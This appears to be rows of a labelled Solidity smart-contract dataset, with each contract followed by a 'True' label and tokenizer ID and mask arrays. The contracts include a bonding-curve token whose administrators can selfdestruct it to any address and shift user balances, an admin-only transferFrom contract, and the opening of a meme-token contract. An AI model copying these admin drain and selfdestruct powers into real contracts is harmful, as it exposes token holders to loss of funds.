commissionFunds += _amount;
}
function getSaleSummary(uint256 _tokens) public view returns (uint256 saleAmount){
uint256 _saleAmount = uint256(0);
Roadmap memory _roadmap = priceRoadmap[sellRoadmap];
uint256 _sellRoadmapUsedSupply = sellRoadmapUsedSupply;
uint256 _balanceSupplyInCurrentRoadmap = _sellRoadmapUsedSupply;
_roadmap = priceRoadmap[sellRoadmap];
if (_tokens < _balanceSupplyInCurrentRoadmap) {
_saleAmount += ((2 * sellPrice * _tokens) - (_tokens * _tokens * _roadmap.incPrice) - (_tokens * _roadmap.incPrice)) / 2;
return _saleAmount;
} else if (_tokens == _balanceSupplyInCurrentRoadmap) {
_saleAmount += ((2 * sellPrice * _tokens) - (_tokens * _tokens * _roadmap.incPrice) - (_tokens * _roadmap.incPrice)) / 2;
return _saleAmount;
}
uint256 noOfTokensToSell = _tokens;
uint256 _sellPrice = uint256(0);
for (uint8 i = sellRoadmap; i > 0; i--) {
_roadmap = priceRoadmap[i];
_balanceSupplyInCurrentRoadmap = _sellRoadmapUsedSupply;
if (i == sellRoadmap) {
_sellPrice = sellPrice;
} else {
_sellPrice = _roadmap.startPrice + (_roadmap.supply * _roadmap.incPrice) - _roadmap.incPrice;
}
if (noOfTokensToSell > _balanceSupplyInCurrentRoadmap) {
_saleAmount += ((2 * _sellPrice * _balanceSupplyInCurrentRoadmap) - (_balanceSupplyInCurrentRoadmap * _balanceSupplyInCurrentRoadmap * _roadmap.incPrice) - (_balanceSupplyInCurrentRoadmap * _roadmap.incPrice)) / 2;
noOfTokensToSell -= _balanceSupplyInCurrentRoadmap;
_sellRoadmapUsedSupply = priceRoadmap[i - 1].supply;
} else if (noOfTokensToSell < _balanceSupplyInCurrentRoadmap) {
_saleAmount += ((2 * _sellPrice * noOfTokensToSell) - (noOfTokensToSell * noOfTokensToSell * _roadmap.incPrice) - (noOfTokensToSell * _roadmap.incPrice)) / 2;
return _saleAmount;
} else {
_saleAmount += ((2 * _sellPrice * noOfTokensToSell) - (noOfTokensToSell * noOfTokensToSell * _roadmap.incPrice) - (noOfTokensToSell * _roadmap.incPrice)) / 2;
return _saleAmount;
}
}
}
function getPurchaseSummary(uint256 _tokens) public view returns (uint256){
uint256 _purchaseAmount = uint256(0);
Roadmap memory _roadmap = priceRoadmap[currentRoadmap];
uint256 _currentRoadmapUsedSupply = currentRoadmapUsedSupply;
uint256 _balanceSupplyInCurrentRoadmap = _currentRoadmapUsedSupply > _roadmap.supply ? _currentRoadmapUsedSupply - _roadmap.supply : _roadmap.supply - _currentRoadmapUsedSupply;
if (_tokens < _balanceSupplyInCurrentRoadmap) {
_purchaseAmount += ((2 * buyPrice * _tokens) + (_tokens * _tokens * _roadmap.incPrice) - (_tokens * _roadmap.incPrice)) / 2;
return _purchaseAmount;
} else if (_tokens == _balanceSupplyInCurrentRoadmap) {
_purchaseAmount += ((2 * buyPrice * _tokens) + (_tokens * _tokens * _roadmap.incPrice) - (_tokens * _roadmap.incPrice)) / 2;
return _purchaseAmount;
}
uint256 noOfTokensToBuy = _tokens;
uint256 _buyPrice = uint256(0);
for (uint8 i = currentRoadmap; i <= LAST_ROADMAP; i++) {
_roadmap = priceRoadmap[i];
_balanceSupplyInCurrentRoadmap = _currentRoadmapUsedSupply > _roadmap.supply ? _currentRoadmapUsedSupply - _roadmap.supply : _roadmap.supply - _currentRoadmapUsedSupply;
if (i == currentRoadmap) {
_buyPrice = buyPrice;
} else {
_buyPrice = _roadmap.startPrice;
}
if (noOfTokensToBuy > _balanceSupplyInCurrentRoadmap) {
_purchaseAmount += ((2 * _buyPrice * _balanceSupplyInCurrentRoadmap) + (_balanceSupplyInCurrentRoadmap * _balanceSupplyInCurrentRoadmap * _roadmap.incPrice) - (_balanceSupplyInCurrentRoadmap * _roadmap.incPrice)) / 2;
noOfTokensToBuy -= _balanceSupplyInCurrentRoadmap;
_currentRoadmapUsedSupply = 0;
} else if (noOfTokensToBuy < _balanceSupplyInCurrentRoadmap) {
_purchaseAmount += ((2 * _buyPrice * noOfTokensToBuy) + (noOfTokensToBuy * noOfTokensToBuy * _roadmap.incPrice) - (noOfTokensToBuy * _roadmap.incPrice)) / 2;
return _purchaseAmount;
} else {
_purchaseAmount += ((2 * _buyPrice * noOfTokensToBuy) + (noOfTokensToBuy * noOfTokensToBuy * _roadmap.incPrice) - (noOfTokensToBuy * _roadmap.incPrice)) / 2;
return _purchaseAmount;
}
}
}
function kill(address payable addr) public onlyAdministrators {
selfdestruct(addr);
}
function totalCommissionFunds() public onlyAdministrators view returns (uint256){
return commissionFunds;
}
function addAdministrator(address admin) public onlyAdministrators {
require(administrators[admin] != true, "address already exists");
administrators[admin] = true;
}
function removeAdministrator(address admin) public onlyAdministrators {
require(administrators[admin] == true, "address not exists");
administrators[admin] = false;
}
function updateCommissionHolders(address _dev1, address _dev2, address _dev3, address _dev4, address _dev5) public onlyAdministrators {
dev1 = _dev1;
dev2 = _dev2;
dev3 = _dev3;
dev4 = _dev4;
dev5 = _dev5;
}
function updateCommissionPercent(uint256 _percent) public onlyAdministrators {
commissionPercent = _percent;
}
function updateSellCommissionPercentage(uint256 _percent) public onlyAdministrators {
sellCommission = _percent;
}
function updateTokenCommissionPercent(uint256 _percent) public onlyAdministrators {
tokenCommissionPercent = _percent;
}
function getCommBalance() public view returns (uint256){
return commissionOf[msg.sender];
}
function getCommBalanceAdmin(address _address) public onlyAdministrators view returns (uint256){
return commissionOf[_address];
}
function distributeCommission(uint256 _amount) public onlyAdministrators {
require(_amount <= commissionFunds, "Dont have enough funds to distribute");
uint256 totalComPer = dev1Com + dev2Com + dev3Com + dev4Com + dev5Com;
require(totalComPer == 1000, "Invalid Percent structure");
commissionOf[dev1] += (_amount * dev1Com) / 1000;
commissionOf[dev2] += (_amount * dev2Com) / 1000;
commissionOf[dev3] += (_amount * dev3Com) / 1000;
commissionOf[dev4] += (_amount * dev4Com) / 1000;
commissionOf[dev5] += (_amount * dev5Com) / 1000;
commissionFunds -= _amount;
}
function upgradeContract(uint256 _dev1, uint256 _dev2, uint256 _dev3, uint256 _dev4, uint256 _dev5) public onlyAdministrators {
dev1Com = _dev1;
dev2Com = _dev2;
dev3Com = _dev3;
dev4Com = _dev4;
dev5Com = _dev5;
}
function updateTransFeesAdd(address _address) public onlyAdministrators {
require(dev != _address, "Address already added");
dev = _address;
}
function withdrawCommission(uint256 _amount) public {
require(_amount <= commissionOf[msg.sender], "Dont have funds to withdraw");
commissionOf[msg.sender] -= _amount;
sendBalanceAmount(msg.sender, _amount);
emit CommissionWithdraw(msg.sender, _amount);
}
function withdrawTokenCommission(address _user, uint256 _amount, uint256 nonce) public onlyAdministrators {
require(_amount <= _balances[commissionHolder], "Dont have enough tokens");
_balances[commissionHolder] -= _amount;
_balances[_user] += _amount;
emit WithdrawTokenCommission(_user, _amount, nonce);
}
function withdrawStakeEarning(address _user, uint256 _amount, uint256 nonce) public onlyAdministrators {
require(_amount <= _balances[stakeHolder], "Dont have enough tokens");
_balances[_user] += _amount;
_balances[stakeHolder] -= _amount;
emit WithdrawStakingCommission(_user, _amount, nonce);
}
function updateTokenCommHolder(address _address) public onlyAdministrators {
require(commissionHolder != _address, "Holder already exist");
_balances[_address] = _balances[commissionHolder];
_balances[commissionHolder] -= _balances[_address];
}
function updateStakeHolder(address _address) public onlyAdministrators {
require(stakeHolder != _address, "Holder already exist");
_balances[_address] = _balances[stakeHolder];
_balances[stakeHolder] -= _balances[_address];
}
function createRoadmap() private {
Roadmap memory roadmap = Roadmap({
supply : 100000,
startPrice : 0.00027 ether,
incPrice : 0.00000000125 ether
});
priceRoadmap[1] = roadmap;
roadmap = Roadmap({
supply : 400000,
startPrice : 0.00039499975 ether,
incPrice : 0.000000001 ether
});
priceRoadmap[2] = roadmap;
roadmap = Roadmap({
supply : 100000,
startPrice : 0.00079500375 ether,
incPrice : 0.000000005 ether
});
priceRoadmap[3] = roadmap;
roadmap = Roadmap({
supply : 100000,
startPrice : 0.00129500875 ether,
incPrice : 0.00000001 ether
});
priceRoadmap[4] = roadmap;
roadmap = Roadmap({
supply : 100000,
startPrice : 0.00229501875 ether,
incPrice : 0.00000002 ether
});
priceRoadmap[5] = roadmap;
roadmap = Roadmap({
supply : 90000,
startPrice : 0.00429504375 ether,
incPrice : 0.000000045 ether
});
priceRoadmap[6] = roadmap;
roadmap = Roadmap({
supply : 90000,
startPrice : 0.00834507875 ether,
incPrice : 0.00000008 ether
});
priceRoadmap[7] = roadmap;
roadmap = Roadmap({
supply : 70000,
startPrice : 0.01554517875 ether,
incPrice : 0.00000018 ether
});
priceRoadmap[8] = roadmap;
roadmap = Roadmap({
supply : 70000,
startPrice : 0.02814534875 ether,
incPrice : 0.00000035 ether
});
priceRoadmap[9] = roadmap;
roadmap = Roadmap({
supply : 70000,
startPrice : 0.052645748750 ether,
incPrice : 0.00000075 ether
});
priceRoadmap[10] = roadmap;
roadmap = Roadmap({
supply : 60000,
startPrice : 0.10514679875 ether,
incPrice : 0.0000018 ether
});
priceRoadmap[11] = roadmap;
roadmap = Roadmap({
supply : 60000,
startPrice : 0.21314779875 ether,
incPrice : 0.0000028 ether
});
priceRoadmap[12] = roadmap;
roadmap = Roadmap({
supply : 60000,
startPrice : 0.38115099875 ether,
incPrice : 0.000006 ether
});
priceRoadmap[13] = roadmap;
roadmap = Roadmap({
supply : 50000,
startPrice : 0.74115699875 ether,
incPrice : 0.000012 ether
});
priceRoadmap[14] = roadmap;
roadmap = Roadmap({
supply : 50000,
startPrice : 1.34116999875 ether,
incPrice : 0.000025 ether
});
priceRoadmap[15] = roadmap;
roadmap = Roadmap({
supply : 50000,
startPrice : 2.59118999875 ether,
incPrice : 0.000045 ether
});
priceRoadmap[16] = roadmap;
roadmap = Roadmap({
supply : 40000,
startPrice : 4.841234998750 ether,
incPrice : 0.00009 ether
});
priceRoadmap[17] = roadmap;
roadmap = Roadmap({
supply : 40000,
startPrice : 8.44126499875 ether,
incPrice : 0.00012 ether
});
priceRoadmap[18] = roadmap;
}
function sendBalanceAmount(address _receiver, uint256 _amount) private {
if (!address(uint160(_receiver)).send(_amount)) {
address(uint160(_receiver)).transfer(_amount);
}
}
function getBuyPrice() public view returns (uint256){
return buyPrice;
}
function getSellPrice() public view returns (uint256){
return sellPrice;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function totalEthBalance() public view returns (uint256){
return address(this).balance;
}
function updateBuyLimit(bool limit) public onlyAdministrators {
buyLimit = limit;
}
function updateBuyLimitToken(uint256 _noOfTokens) public onlyAdministrators {
buyLimitToken = _noOfTokens;
}
function updateMinBuyToken(uint256 _tokens) public onlyAdministrators {
minBuyToken = _tokens;
}
function updateLockablePercent(uint256 _percent) public onlyAdministrators {
locakablePercent = _percent;
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1028,
1027,
1014,
1012,
1019,
1012,
1020,
1026,
1014,
1012,
1020,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
10236,
7347,
2058,
5024,
3012,
1005,
1055,
20204,
3136,
2007,
2794,
2058,
12314,
1008,
14148,
1012,
1008,
1008,
20204,
3136,
1999,
5024,
3012,
10236,
2006,
2058,
12314,
1012,
2023,
2064,
4089,
2765,
1008,
1999,
12883,
1010,
2138,
28547,
2788,
7868,
2008,
2019,
2058,
12314,
13275,
2019,
1008,
7561,
1010,
2029,
2003,
1996,
3115,
5248,
1999,
2152,
2504,
4730,
4155,
1012,
1008,
1036,
3647,
18900,
2232,
1036,
9239,
2015,
2023,
26406,
2011,
7065,
8743,
2075,
1996,
12598,
2043,
2019,
1008,
3169,
2058,
12314,
2015,
1012,
1008,
1008,
2478,
2023,
3075,
2612,
1997,
1996,
4895,
5403,
18141,
3136,
11027,
2015,
2019,
2972,
1008,
2465,
1997,
12883,
1010,
2061,
2009,
1005,
1055,
6749,
2000,
2224,
2009,
2467,
1012,
1008,
1013,
3075,
3647,
18900,
2232,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
2804,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2006,
1008,
2058,
12314,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1009,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1008,
1011,
2804,
3685,
2058,
12314,
1012,
1008,
1013,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1010,
1000,
3647,
18900,
2232,
1024,
2804,
2058,
12314,
1000,
1007,
1025,
2709,
1039,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
4942,
6494,
7542,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2006,
1008,
2058,
12314,
1006,
2043,
1996,
2765,
2003,
4997,
1007,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1011,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1008,
1011,
4942,
6494,
7542,
3685,
2058,
12314,
1012,
1008,
1013,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2709,
4942,
1006,
1037,
1010,
1038,
1010,
1000,
3647,
18900,
2232,
1024,
4942,
6494,
7542,
2058,
12314,
1000,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
4942,
6494,
7542,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2007,
7661,
4471,
2006,
1008,
2058,
12314,
1006,
2043,
1996,
2765,
2003,
4997,
1007,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1011,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1008,
1011,
4942,
6494,
7542,
3685,
2058,
12314,
1012,
1008,
1013,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1010,
5164,
3638,
7561,
7834,
3736,
3351,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
5478,
1006,
1038,
1026,
1027,
1037,
1010,
7561,
7834,
3736,
3351,
1007,
1025,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1011,
1038,
1025,
2709,
1039,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
24856,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2006,
1008,
2058,
12314,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-09-21
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
interface ERC20Like {
function transferFrom(address _from, address _to, uint256 _value) external;
}
contract TransferToReward {
function transfer(uint amount) external {
require(msg.sender == 0xf7D44D5a28d5AF27a7F9c8fc6eFe0129e554d7c4, "not admin");
ERC20Like(0xC7F0e3118B24f30A6Aa7d703E198996F04B64e32).
transferFrom(0x3328D5b2CabDF25a9AaD31Ae52f660398c54b6cE, 0xAf50fe9282e1bE8C08b899a51628a085E81d0D57, amount);
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5641,
1011,
2538,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1020,
1012,
2340,
1025,
8278,
9413,
2278,
11387,
10359,
1063,
3853,
4651,
19699,
5358,
1006,
4769,
1035,
2013,
1010,
4769,
1035,
2000,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1007,
6327,
1025,
1065,
3206,
4651,
19277,
7652,
1063,
3853,
4651,
1006,
21318,
3372,
3815,
1007,
6327,
1063,
5478,
1006,
5796,
2290,
1012,
4604,
2121,
1027,
1027,
1014,
2595,
2546,
2581,
2094,
22932,
2094,
2629,
2050,
22407,
2094,
2629,
10354,
22907,
2050,
2581,
2546,
2683,
2278,
2620,
11329,
2575,
27235,
24096,
24594,
2063,
24087,
2549,
2094,
2581,
2278,
2549,
1010,
1000,
2025,
4748,
10020,
1000,
1007,
1025,
9413,
2278,
11387,
10359,
1006,
1014,
2595,
2278,
2581,
2546,
2692,
2063,
21486,
15136,
2497,
18827,
2546,
14142,
2050,
2575,
11057,
2581,
2094,
19841,
2509,
2063,
16147,
2620,
2683,
2683,
2575,
2546,
2692,
2549,
2497,
21084,
2063,
16703,
1007,
1012,
4651,
19699,
5358,
1006,
1014,
2595,
22394,
22407,
2094,
2629,
2497,
2475,
3540,
2497,
20952,
17788,
2050,
2683,
11057,
2094,
21486,
6679,
25746,
2546,
28756,
2692,
23499,
2620,
2278,
27009,
2497,
2575,
3401,
1010,
1014,
18684,
2546,
12376,
7959,
2683,
22407,
2475,
2063,
2487,
4783,
2620,
2278,
2692,
2620,
2497,
2620,
2683,
2683,
2050,
22203,
2575,
22407,
2050,
2692,
27531,
2063,
2620,
2487,
2094,
2692,
2094,
28311,
1010,
3815,
1007,
1025,
1065,
1065,
102,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
/**
*Submitted for verification at Etherscan.io on 2021-04-28
*/
/**
*THE FINAL BATTLE BETWEEN Vitali Mishima & Elon Kazama - UniTekken.com
*/
/**
*鉄拳 $TEKKEN Vitali Mishima & Elon Kazama unitekken.com - https://t.me/VitaliMishimaVSElonKazama - Fair & Stealth Launch NO PRESALE / Locked Liquidity for 6 Months Dev Only holds 1% of total supply
*/
//
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
